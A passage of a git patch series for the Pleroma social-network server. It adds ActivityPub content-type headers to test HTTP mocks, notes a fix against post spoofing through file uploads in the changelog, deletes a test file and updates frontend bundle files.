File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) @@ -61,7 +67,8 @@ test "Prismo Article" do Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs index 0636d00c5..181eb7b09 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs @@ -48,7 +48,8 @@ test "Funkwhale Audio object" do %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs index 7f1ef2cbd..d7c55cfbe 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/event_handling_test.exs @@ -13,13 +13,15 @@ test "Mobilizon Event object" do %{url: "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json"), + headers: HttpRequestMock.activitypub_object_headers() } %{url: "https://mobilizon.org/@tcit"} -> %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json"), + headers: HttpRequestMock.activitypub_object_headers() } end) diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index cb022333f..93464ebff 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -5,6 +5,8 @@ defmodule HttpRequestMock do require Logger + def activitypub_object_headers, do: [{"content-type", "application/activity+json"}] + def request( %Tesla.Env{ url: url, @@ -34,7 +36,8 @@ def get("https://osada.macgirvin.com/channel/mike", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json") + body: File.read!("test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json"), + headers: activitypub_object_headers() }} end @@ -42,7 +45,8 @@ def get("https://shitposter.club/users/moonman", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/moonman@shitposter.club.json") + body: File.read!("test/fixtures/tesla_mock/moonman@shitposter.club.json"), + headers: activitypub_object_headers() }} end @@ -50,7 +54,8 @@ def get("https://mastodon.social/users/emelie/statuses/101849165031453009", _, _ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/status.emelie.json") + body: File.read!("test/fixtures/tesla_mock/status.emelie.json"), + headers: activitypub_object_headers() }} end @@ -66,7 +71,8 @@ def get("https://mastodon.social/users/emelie", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/emelie.json") + body: File.read!("test/fixtures/tesla_mock/emelie.json"), + headers: activitypub_object_headers() }} end @@ -78,7 +84,8 @@ def get("https://mastodon.sdf.org/users/rinpatch", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rinpatch.json") + body: File.read!("test/fixtures/tesla_mock/rinpatch.json"), + headers: activitypub_object_headers() }} end @@ -86,7 +93,8 @@ def get("https://patch.cx/objects/tesla_mock/poll_attachment", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_attachment.json") + body: File.read!("test/fixtures/tesla_mock/poll_attachment.json"), + headers: activitypub_object_headers() }} end @@ -99,7 +107,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/webfinger_emelie.json") + body: File.read!("test/fixtures/tesla_mock/webfinger_emelie.json"), + headers: activitypub_object_headers() }} end @@ -112,7 +121,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mike@osada.macgirvin.com.json") + body: File.read!("test/fixtures/tesla_mock/mike@osada.macgirvin.com.json"), + headers: activitypub_object_headers() }} end @@ -190,7 +200,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/lucifermysticus.json") + body: File.read!("test/fixtures/tesla_mock/lucifermysticus.json"), + headers: activitypub_object_headers() }} end @@ -198,7 +209,8 @@ def get("https://prismo.news/@mxb", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json"), + headers: activitypub_object_headers() }} end @@ -211,7 +223,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/kaniini@hubzilla.example.org.json") + body: File.read!("test/fixtures/tesla_mock/kaniini@hubzilla.example.org.json"), + headers: activitypub_object_headers() }} end @@ -219,7 +232,8 @@ def get("https://niu.moe/users/rye", _, _, [{"accept", "application/activity+jso {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rye.json") + body: File.read!("test/fixtures/tesla_mock/rye.json"), + headers: activitypub_object_headers() }} end @@ -227,7 +241,8 @@ def get("https://n1u.moe/users/rye", _, _, [{"accept", "application/activity+jso {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/rye.json") + body: File.read!("test/fixtures/tesla_mock/rye.json"), + headers: activitypub_object_headers() }} end @@ -246,7 +261,8 @@ def get("https://puckipedia.com/", _, _, [{"accept", "application/activity+json" {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/puckipedia.com.json") + body: File.read!("test/fixtures/tesla_mock/puckipedia.com.json"), + headers: activitypub_object_headers() }} end @@ -254,7 +270,8 @@ def get("https://peertube.moe/accounts/7even", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/7even.json") + body: File.read!("test/fixtures/tesla_mock/7even.json"), + headers: activitypub_object_headers() }} end @@ -262,7 +279,8 @@ def get("https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/peertube.moe-vid.json") + body: File.read!("test/fixtures/tesla_mock/peertube.moe-vid.json"), + headers: activitypub_object_headers() }} end @@ -270,7 +288,8 @@ def get("https://framatube.org/accounts/framasoft", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https___framatube.org_accounts_framasoft.json") + body: File.read!("test/fixtures/tesla_mock/https___framatube.org_accounts_framasoft.json"), + headers: activitypub_object_headers() }} end @@ -278,7 +297,8 @@ def get("https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206 {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + body: File.read!("test/fixtures/tesla_mock/framatube.org-video.json"), + headers: activitypub_object_headers() }} end @@ -286,7 +306,8 @@ def get("https://peertube.social/accounts/craigmaloney", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/craigmaloney.json") + body: File.read!("test/fixtures/tesla_mock/craigmaloney.json"), + headers: activitypub_object_headers() }} end @@ -294,7 +315,8 @@ def get("https://peertube.social/videos/watch/278d2b7c-0f38-4aaa-afe6-9ecc0c4a34 {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/peertube-social.json") + body: File.read!("test/fixtures/tesla_mock/peertube-social.json"), + headers: activitypub_object_headers() }} end @@ -304,7 +326,8 @@ def get("https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39", _, {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json"), + headers: activitypub_object_headers() }} end @@ -312,7 +335,8 @@ def get("https://mobilizon.org/@tcit", _, _, [{"accept", "application/activity+j {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json") + body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json"), + headers: activitypub_object_headers() }} end @@ -320,7 +344,8 @@ def get("https://baptiste.gelez.xyz/@/BaptisteGelez", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json"), + headers: activitypub_object_headers() }} end @@ -328,7 +353,8 @@ def get("https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june- {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json"), + headers: activitypub_object_headers() }} end @@ -336,7 +362,8 @@ def get("https://wedistribute.org/wp-json/pterotype/v1/object/85810", _, _, _) d {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/wedistribute-article.json") + body: File.read!("test/fixtures/tesla_mock/wedistribute-article.json"), + headers: activitypub_object_headers() }} end @@ -344,7 +371,8 @@ def get("https://wedistribute.org/wp-json/pterotype/v1/actor/-blog", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json") + body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json"), + headers: activitypub_object_headers() }} end @@ -352,7 +380,8 @@ def get("http://mastodon.example.org/users/admin", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/admin@mastdon.example.org.json") + body: File.read!("test/fixtures/tesla_mock/admin@mastdon.example.org.json"), + headers: activitypub_object_headers() }} end @@ -362,7 +391,8 @@ def get("http://mastodon.example.org/users/relay", _, _, [ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/relay@mastdon.example.org.json") + body: File.read!("test/fixtures/tesla_mock/relay@mastdon.example.org.json"), + headers: activitypub_object_headers() }} end @@ -482,7 +512,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json") + body: File.read!("test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json"), + headers: activitypub_object_headers() }} end @@ -543,7 +574,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/mastodon-note-object.json") + body: File.read!("test/fixtures/mastodon-note-object.json"), + headers: activitypub_object_headers() }} end @@ -567,7 +599,8 @@ def get("https://mstdn.io/users/mayuutann", _, _, [{"accept", "application/activ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mayumayu.json") + body: File.read!("test/fixtures/tesla_mock/mayumayu.json"), + headers: activitypub_object_headers() }} end @@ -580,7 +613,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/mayumayupost.json") + body: File.read!("test/fixtures/tesla_mock/mayumayupost.json"), + headers: activitypub_object_headers() }} end @@ -795,7 +829,8 @@ def get( {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/winterdienst_webfinger.json") + body: File.read!("test/fixtures/tesla_mock/winterdienst_webfinger.json"), + headers: activitypub_object_headers() }} end @@ -867,12 +902,21 @@ def get("https://social.heldscal.la/.well-known/host-meta", _, _, _) do end def get("https://mastodon.social/users/lambadalambda", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/lambadalambda.json"), + headers: activitypub_object_headers() + }} end def get("https://apfed.club/channel/indio", _, _, _) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json"), + headers: activitypub_object_headers() + }} end def get("https://social.heldscal.la/user/23211", _, _, [{"accept", "application/activity+json"}]) do @@ -895,7 +939,8 @@ def get("http://localhost:4001/users/masto_closed/followers", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_followers.json") + body: File.read!("test/fixtures/users_mock/masto_closed_followers.json"), + headers: activitypub_object_headers() }} end @@ -903,7 +948,8 @@ def get("http://localhost:4001/users/masto_closed/followers?page=1", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_followers_page.json") + body: File.read!("test/fixtures/users_mock/masto_closed_followers_page.json"), + headers: activitypub_object_headers() }} end @@ -911,7 +957,8 @@ def get("http://localhost:4001/users/masto_closed/following", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_following.json") + body: File.read!("test/fixtures/users_mock/masto_closed_following.json"), + headers: activitypub_object_headers() }} end @@ -919,7 +966,8 @@ def get("http://localhost:4001/users/masto_closed/following?page=1", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/masto_closed_following_page.json") + body: File.read!("test/fixtures/users_mock/masto_closed_following_page.json"), + headers: activitypub_object_headers() }} end @@ -927,7 +975,8 @@ def get("http://localhost:8080/followers/fuser3", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/friendica_followers.json") + body: File.read!("test/fixtures/users_mock/friendica_followers.json"), + headers: activitypub_object_headers() }} end @@ -935,7 +984,8 @@ def get("http://localhost:8080/following/fuser3", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/friendica_following.json") + body: File.read!("test/fixtures/users_mock/friendica_following.json"), + headers: activitypub_object_headers() }} end @@ -943,7 +993,8 @@ def get("http://localhost:4001/users/fuser2/followers", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/pleroma_followers.json") + body: File.read!("test/fixtures/users_mock/pleroma_followers.json"), + headers: activitypub_object_headers() }} end @@ -951,7 +1002,8 @@ def get("http://localhost:4001/users/fuser2/following", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/users_mock/pleroma_following.json") + body: File.read!("test/fixtures/users_mock/pleroma_following.json"), + headers: activitypub_object_headers() }} end @@ -1049,7 +1101,8 @@ def get("https://info.pleroma.site/activity.json", _, _, [ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity.json"), + headers: activitypub_object_headers() }} end @@ -1063,7 +1116,8 @@ def get("https://info.pleroma.site/activity2.json", _, _, [ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity2.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity2.json"), + headers: activitypub_object_headers() }} end @@ -1077,7 +1131,8 @@ def get("https://info.pleroma.site/activity3.json", _, _, [ {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity3.json") + body: File.read!("test/fixtures/tesla_mock/https__info.pleroma.site_activity3.json"), + headers: activitypub_object_headers() }} end @@ -1110,7 +1165,12 @@ def get("https://www.patreon.com/posts/mastodon-2-9-and-28121681", _, _, _) do end def get("http://mastodon.example.org/@admin/99541947525187367", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-post-activity.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/mastodon-post-activity.json"), + headers: activitypub_object_headers() + }} end def get("https://info.pleroma.site/activity4.json", _, _, _) do @@ -1137,7 +1197,8 @@ def get("https://skippers-bin.com/notes/7x9tmrp97i", _, _, _) do {:ok, %Tesla.Env{ status: 200, - body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json") + body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json"), + headers: activitypub_object_headers() }} end @@ -1146,11 +1207,21 @@ def get("https://example.org/emoji/firedfox.png", _, _, _) do end def get("https://skippers-bin.com/users/7v1w1r8ce6", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/sjw.json"), + headers: activitypub_object_headers() + }} end def get("https://patch.cx/users/rin", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/rin.json"), + headers: activitypub_object_headers() + }} end def get( @@ -1160,12 +1231,20 @@ def get( _ ) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/funkwhale_audio.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_audio.json"), + headers: activitypub_object_headers() + }} end def get("https://channels.tests.funkwhale.audio/federation/actors/compositions", _, _, _) do {:ok, - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json")}} + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json"), + headers: activitypub_object_headers() + }} end def get("http://example.com/rel_me/error", _, _, _) do @@ -1173,7 +1252,12 @@ def get("http://example.com/rel_me/error", _, _, _) do end def get("https://relay.mastodon.host/actor", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/relay/relay.json")}} + {:ok, + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/relay/relay.json"), + headers: activitypub_object_headers() + }} end def get("http://localhost:4001/", _, "", [{"accept", "text/html"}]) do -- cgit v1.2.3 From 6166ecdbc8c52d2ef392eda3cc3bd892a2d6ecf3 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 5 Nov 2020 16:33:51 +0300 Subject: CHANGELOG.md: Add an entry for the spoofing fix --- CHANGELOG.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d712c3498..034456261 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,10 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [2.2.0] - 2020-10-?? +## [2.2.0] - 2020-11-?? + +### Security +- Fixed the possibility of using file uploads to spoof posts. ### Changed -- cgit v1.2.3 From e58ea7f99cf8a70d8da879294fe5b7f05376a7e0 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sat, 19 Sep 2020 21:25:01 +0300 Subject: changes after rebase --- .../instance_document_controller_test.exs | 106 --------------------- 1 file changed, 106 deletions(-) delete mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs deleted file mode 100644 index 5f7b042f6..000000000 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do - use Pleroma.Web.ConnCase, async: true - import Pleroma.Factory - alias Pleroma.Config - - @dir "test/tmp/instance_static" - @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/instance_document/:name" do - test "return the instance document url", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn, 200) - assert String.contains?(content, @default_instance_panel) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert json_response(conn, :forbidden) - end - - test "it returns 404 if the instance document with the given name doesn't exist", %{ - conn: conn - } do - conn = get(conn, "/api/pleroma/admin/instance_document/1234") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "PATCH /api/pleroma/admin/instance_document/:name" do - test "uploads the instance document", %{conn: conn} do - image = %Plug.Upload{ - content_type: "text/html", - path: Path.absname("test/fixtures/custom_instance_panel.html"), - filename: "custom_instance_panel.html" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ - "file" => image - }) - - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "<h2>Custom instance panel</h2>" - end - end - - describe "DELETE /api/pleroma/admin/instance_document/:name" do - test "deletes the instance document", %{conn: conn} do - File.mkdir!(@dir <> "/instance/") - File.write!(@dir <> "/instance/panel.html", "Custom instance panel") - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert html_response(conn_resp, 200) == "Custom instance panel" - - conn - |> delete("/api/pleroma/admin/instance_document/instance-panel") - |> json_response_and_validate_schema(200) - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn_resp, 200) - assert String.contains?(content, @default_instance_panel) - end - end -end -- cgit v1.2.3 From 99edfba3da2a8cd174a46005192cad1f97602287 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 11 Nov 2020 23:12:52 +0300 Subject: Polish the changelog a bit and specify release date --- CHANGELOG.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 034456261..051050a94 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,7 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). -## [2.2.0] - 2020-11-?? +## [2.2.0] - 2020-11-12 ### Security - Fixed the possibility of using file uploads to spoof posts. @@ -14,7 +14,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** App metrics endpoint (`/api/pleroma/app_metrics`) is disabled by default, check `docs/API/prometheus.md` on enabling and configuring. - **Breaking:** Pleroma Admin API: emoji packs and files routes changed. - **Breaking:** Sensitive/NSFW statuses no longer disable link previews. -- API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. - Search: Users are now findable by their urls. - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. @@ -22,6 +21,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Users with the `discoverable` field set to false will not show up in searches. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). - Introduced optional dependencies on `ffmpeg`, `ImageMagick`, `exiftool` software packages. Please refer to `docs/installation/optional/media_graphics_packages.md`. +- <details> + <summary>API Changes</summary> +- API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. +</details> ### Removed @@ -33,18 +36,15 @@ switched to a new configuration mechanism, however it was not officially removed ### Added - Media preview proxy (requires `ffmpeg` and `ImageMagick` to be installed and media proxy to be enabled; see `:media_preview_proxy` config for more details). -- Pleroma API: Importing the mutes users from CSV files. - Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) - Mix task for sending confirmation emails to all unconfirmed users (`mix pleroma.email send_confirmation_mails`) - Mix task option for force-unfollowing relays - App metrics: ability to restrict access to specified IP whitelist. - - -<details> +- <details> <summary>API Changes</summary> -- Pleroma API: Importing the mutes users from CSV files. - Admin API: Importing emoji from a zip file +- Pleroma API: Importing the mutes users from CSV files. - Pleroma API: Pagination for remote/local packs and emoji. </details> -- cgit v1.2.3 From b4c6b262d6dc12362f0014a864e8aed6c727c39c Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 11 Nov 2020 23:28:15 +0300 Subject: pleroma-fe bundle: update to 8e87e3d88bef3691b625c0a25407aa08bdf983ad --- priv/static/index.html | 2 +- priv/static/static/config.json | 3 +- .../static/static/css/app.77b1644622e3bae24b6b.css | Bin 5616 -> 0 bytes .../static/css/app.77b1644622e3bae24b6b.css.map | 1 - .../static/static/css/app.9a4c5ede37b2f0230836.css | Bin 0 -> 5620 bytes .../static/css/app.9a4c5ede37b2f0230836.css.map | 1 + priv/static/static/font/fontello.1600365488745.eot | Bin 24796 -> 0 bytes priv/static/static/font/fontello.1600365488745.svg | 140 ------- priv/static/static/font/fontello.1600365488745.ttf | Bin 24628 -> 0 bytes .../static/static/font/fontello.1600365488745.woff | Bin 15108 -> 0 bytes .../static/font/fontello.1600365488745.woff2 | Bin 12736 -> 0 bytes priv/static/static/fontello.1600365488745.css | Bin 3783 -> 0 bytes priv/static/static/fontello.json | 416 --------------------- priv/static/static/js/10.46f441b948010eda4403.js | Bin 0 -> 31095 bytes .../static/js/10.46f441b948010eda4403.js.map | Bin 0 -> 113 bytes priv/static/static/js/10.46fbbdfaf0d4800f349b.js | Bin 30691 -> 0 bytes .../static/js/10.46fbbdfaf0d4800f349b.js.map | Bin 113 -> 0 bytes priv/static/static/js/11.708cc2513c53879a92cc.js | Bin 16124 -> 0 bytes .../static/js/11.708cc2513c53879a92cc.js.map | Bin 113 -> 0 bytes priv/static/static/js/11.8ff1ed54814f2d34cb3e.js | Bin 0 -> 16124 bytes .../static/js/11.8ff1ed54814f2d34cb3e.js.map | Bin 0 -> 113 bytes priv/static/static/js/12.13204bdd0ad5703a3ea3.js | Bin 0 -> 23834 bytes .../static/js/12.13204bdd0ad5703a3ea3.js.map | Bin 0 -> 113 bytes priv/static/static/js/12.b3bf0bc313861d6ec36b.js | Bin 22125 -> 0 bytes .../static/js/12.b3bf0bc313861d6ec36b.js.map | Bin 113 -> 0 bytes priv/static/static/js/13.adb8a942514d735722c4.js | Bin 27025 -> 0 bytes .../static/js/13.adb8a942514d735722c4.js.map | Bin 113 -> 0 bytes priv/static/static/js/13.e27c3eeddcc4b11c1f54.js | Bin 0 -> 27059 bytes .../static/js/13.e27c3eeddcc4b11c1f54.js.map | Bin 0 -> 113 bytes priv/static/static/js/14.273855b3e4e27ce80219.js | Bin 0 -> 29348 bytes .../static/js/14.273855b3e4e27ce80219.js.map | Bin 0 -> 113 bytes priv/static/static/js/14.d015d9b2ea16407e389c.js | Bin 28256 -> 0 bytes .../static/js/14.d015d9b2ea16407e389c.js.map | Bin 113 -> 0 bytes priv/static/static/js/15.19866e6a366ccf982284.js | Bin 7789 -> 0 bytes .../static/js/15.19866e6a366ccf982284.js.map | Bin 113 -> 0 bytes priv/static/static/js/15.afbe29b6665fcd015b2d.js | Bin 0 -> 7789 bytes .../static/js/15.afbe29b6665fcd015b2d.js.map | Bin 0 -> 113 bytes priv/static/static/js/16.38a984effd54736f6a2c.js | Bin 15700 -> 0 bytes .../static/js/16.38a984effd54736f6a2c.js.map | Bin 113 -> 0 bytes priv/static/static/js/16.5e3f20da470591d0cabf.js | Bin 0 -> 15700 bytes .../static/js/16.5e3f20da470591d0cabf.js.map | Bin 0 -> 113 bytes priv/static/static/js/17.44e90ef82ee2ef12dc3f.js | Bin 0 -> 2086 bytes .../static/js/17.44e90ef82ee2ef12dc3f.js.map | Bin 0 -> 113 bytes priv/static/static/js/17.9c25507194320db2e85b.js | Bin 2086 -> 0 bytes .../static/js/17.9c25507194320db2e85b.js.map | Bin 113 -> 0 bytes priv/static/static/js/18.94946caca48930c224c7.js | Bin 28359 -> 0 bytes .../static/js/18.94946caca48930c224c7.js.map | Bin 113 -> 0 bytes priv/static/static/js/18.9a5b877f94b2b53065e1.js | Bin 0 -> 28773 bytes .../static/js/18.9a5b877f94b2b53065e1.js.map | Bin 0 -> 113 bytes priv/static/static/js/19.1fd4da643df0abf89122.js | Bin 0 -> 31472 bytes .../static/js/19.1fd4da643df0abf89122.js.map | Bin 0 -> 113 bytes priv/static/static/js/19.233c81ac2c28d55e9f13.js | Bin 31472 -> 0 bytes .../static/js/19.233c81ac2c28d55e9f13.js.map | Bin 113 -> 0 bytes priv/static/static/js/2.422e6c756ac673a6fd44.js | Bin 0 -> 181862 bytes .../static/static/js/2.422e6c756ac673a6fd44.js.map | Bin 0 -> 472558 bytes priv/static/static/js/2.e852a6b4b3bba752b838.js | Bin 179192 -> 0 